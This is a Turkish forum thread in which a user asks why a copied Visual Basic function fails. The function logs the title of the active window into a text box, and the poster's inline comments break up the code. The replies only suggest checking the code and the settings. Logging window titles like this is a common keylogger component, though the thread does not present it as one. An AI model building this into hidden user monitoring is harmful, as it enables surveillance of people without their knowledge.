önemli!!!

Function TypeWindow()
Dim Handle As Long
Dim textlen As Long
Dim WindowText As String

Handle = GetForegroundWindow
LastHandle = Handle
textlen = GetWindowTextLength(Handle) + 1

WindowText = Space(textlen)
bu kod altı mavi cizili oluyor > svar = GetWindowText(Handle, WindowText, textlen)
WindowText = vebu>Left <ve bu (WindowText, Len(WindowText) - 1)

If WindowText <> LastWindow Then
If Text1 <> "" Then Text1 = Text1 & vbCrLf & vbCrLf
Text1 = Text1 & "==============================" & vbCrLf & WindowText & vbCrLf & "==============================" & vbCrLf
LastWindow = WindowText
End If
End Function


işaretlemis oldugum svar ve left kodları alıntı yapmıs oldugum visual basic kullanıcından kodları hata veriyor altı mavi cizili oluyor neden acaba bbi cok asamayı gectim sonuncu bu lutfen bi yardım

alıntı yaptığın yere bir bak istersen kodlarda bi hata olmasın ayarlarınıda bi kontrol et

ayarlarında vardır problem kontrol et.